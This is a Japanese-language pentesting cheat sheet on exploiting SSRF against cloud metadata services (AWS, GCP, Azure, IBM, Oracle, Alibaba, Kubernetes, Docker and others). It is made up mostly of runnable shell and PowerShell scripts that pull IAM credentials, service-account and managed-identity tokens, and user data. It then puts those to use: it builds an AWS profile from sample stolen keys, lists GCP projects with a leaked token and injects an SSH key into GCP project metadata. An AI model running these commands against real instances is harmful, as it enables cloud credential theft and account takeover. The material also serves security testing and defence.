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AWS

AWS EC2環境でのSSRFの悪用

メタデータエンドポイントは、任意のEC2マシン内からアクセスでき、それに関する興味深い情報を提供します。URLはhttp://169.254.169.254でアクセスできます（メタデータに関する情報はこちら）。

メタデータエンドポイントには2つのバージョンがあります。最初のバージョンでは、GETリクエストを介してエンドポイントにアクセスできます（つまり、SSRFを悪用できます）。バージョン2、IMDSv2では、HTTPヘッダーを送信してトークンを要求し、そのトークンを使用して別のHTTPヘッダーでメタデータにアクセスする必要があります（つまり、SSRFで悪用するのがより複雑になります）。

EC2インスタンスがIMDSv2を強制している場合、ドキュメントによると、PUTリクエストの応答にはホップ制限が1があり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。

さらに、IMDSv2は、X-Forwarded-Forヘッダーを含むトークンを取得するリクエストをブロックします。これは、誤って構成されたリバースプロキシがアクセスできないようにするためです。

ドキュメントにメタデータエンドポイントに関する情報があります。次のスクリプトでは、それから興味深い情報が取得されます：

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

以下は公開されているIAM資格情報が露出している例です: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

また、公開されているEC2セキュリティ資格情報を確認できます: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

次に、これらの資格情報をAWS CLIで使用できます。これにより、そのロールに許可されている何でも実行できます。

新しい資格情報を利用するには、次のように新しいAWSプロファイルを作成する必要があります:

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

aws_session_tokenを確認してください。このプロファイルが機能するためには不可欠です。

PACUは、発見された資格情報を使用して特権を調査し、特権昇格を試みるために使用できます。

AWS ECS（コンテナサービス）資格情報のSSRF

ECSは、独自のクラスタ管理インフラをスケーリングする必要なく、アプリケーションを実行できるEC2インスタンスの論理グループです。ECSはその管理を担当しているため、自分でクラスタ管理インフラをスケーリングする必要はありません。ECSで実行されているサービスを侵害することに成功すると、メタデータエンドポイントが変更されます。

_http://169.254.170.2/v2/credentials/<GUID>_にアクセスすると、ECSマシンの資格情報が見つかります。ただし、まず<GUID>を見つける必要があります。<GUID>を見つけるには、マシン内のenviron変数AWS_CONTAINER_CREDENTIALS_RELATIVE_URIを読み取る必要があります。 file:///proc/self/environへのPath Traversalを悪用してそれを読み取ることができるかもしれません。言及されたhttpアドレスからは、AccessKey、SecretKey、トークンが取得できるはずです。

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

一部のケースでは、コンテナからEC2メタデータインスタンスにアクセスできる場合があります（以前に言及されたIMDSv2 TTL制限を確認してください）。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。

AWS Lambda向けSSRF

この場合、資格情報は環境変数に保存されています。したがって、それらにアクセスするには**file:///proc/self/environ**のようなものにアクセスする必要があります。

興味深い環境変数の名前は次のとおりです：

AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID

さらに、IAM資格情報に加えて、Lambda関数には開始時に関数に渡されるイベントデータもあります。このデータはruntime interfaceを介して関数に提供され、センシティブな情報（stageVariables内の情報など）を含む可能性があります。IAM資格情報とは異なり、このデータは**http://localhost:9001/2018-06-01/runtime/invocation/next**で標準のSSRF経由でアクセスできます。

Lambda資格情報は環境変数に格納されています。したがって、Lambdaコードのスタックトレースが環境変数を出力する場合、アプリケーションでエラーを引き起こすことでそれらを外部流出させることが可能です。

AWS Elastic Beanstalk向けSSRF URL

APIからaccountIdとregionを取得します。

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

次に、APIからAccessKeyId、SecretAccessKey、およびTokenを取得します。

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

次に、aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/ を使用して資格情報を使用します。

GCP

ここでメタデータエンドポイントに関するドキュメントを見つけることができます。

Google CloudのSSRF URL

HTTPヘッダー Metadata-Flavor: Google が必要であり、次のURLでメタデータエンドポイントにアクセスできます:

http://169.254.169.254
http://metadata.google.internal
http://metadata

情報を抽出するための興味深いエンドポイント:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Betaは現在、ヘッダーを必要としません（Mathias Karlsson @avlidienbrunnさん、ありがとうございます）

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

漏洩されたサービスアカウントトークンを使用するには、次のようにします:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

SSHキーを追加する

トークンを抽出します

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

前の出力または以下を実行して、トークンのスコープを確認します。

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

今、SSHキーをプッシュしてください。

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

メタデータエンドポイントはVMと同じように機能しますが、一部のエンドポイントがありません：

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

AWSのロールやGCPサービスアカウントのようなものは存在しないため、メタデータボットの資格情報を見つけることは期待しないでください。

ドキュメントはhttps://developers.digitalocean.com/documentation/metadata/で利用可能です。

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs in here.

必ずヘッダーに Metadata: true を含めること
X-Forwarded-For ヘッダーを含めてはいけない

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

Azure App Service

env から IDENTITY_HEADER と IDENTITY_ENDPOINT の値を取得できます。これらを使用してメタデータサーバーと通信するためのトークンを取得できます。

ほとんどの場合、これらのリソースのいずれかに対するトークンが必要です:

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"

# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud

IBMではデフォルトでメタデータが有効になっていないことに注意してください。そのため、IBMのクラウドVM内にいてもアクセスできない可能性があります。

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

以下に、各プラットフォームのメタデータサービスのドキュメントが記載されており、インスタンスの構成やランタイム情報にアクセスする方法が示されています。各プラットフォームは、独自のエンドポイントを提供しています。

Packetcloud

Packetcloudのメタデータにアクセスするためのドキュメントは、https://metadata.packet.net/userdata で見つけることができます。

OpenStack/RackSpace

ヘッダーの必要性については言及されていません。メタデータは以下を通じてアクセスできます:

http://169.254.169.254/openstack

HP Helion

こちらでもヘッダーの必要性については言及されていません。メタデータは以下でアクセス可能です:

http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloudは、さまざまなメタデータの側面にアクセスするための一連のエンドポイントを提供しています:

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba

Alibabaは、インスタンスやイメージのIDなどのメタデータにアクセスするためのエンドポイントを提供しています:

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCDには、APIキー、内部IPアドレス、ポートが保存されています。アクセス方法は以下の通りです:

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Dockerのメタデータはローカルでアクセスでき、コンテナやイメージ情報の取得例が示されています:

Dockerソケットを介してコンテナやイメージのメタデータにアクセスする簡単な例:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
コンテナ内で、Dockerソケットを使用してcurlを使用します:
curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancherのメタデータは以下を使用してアクセスできます:

curl http://rancher-metadata/<version>/<path>

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Last updated 1 month ago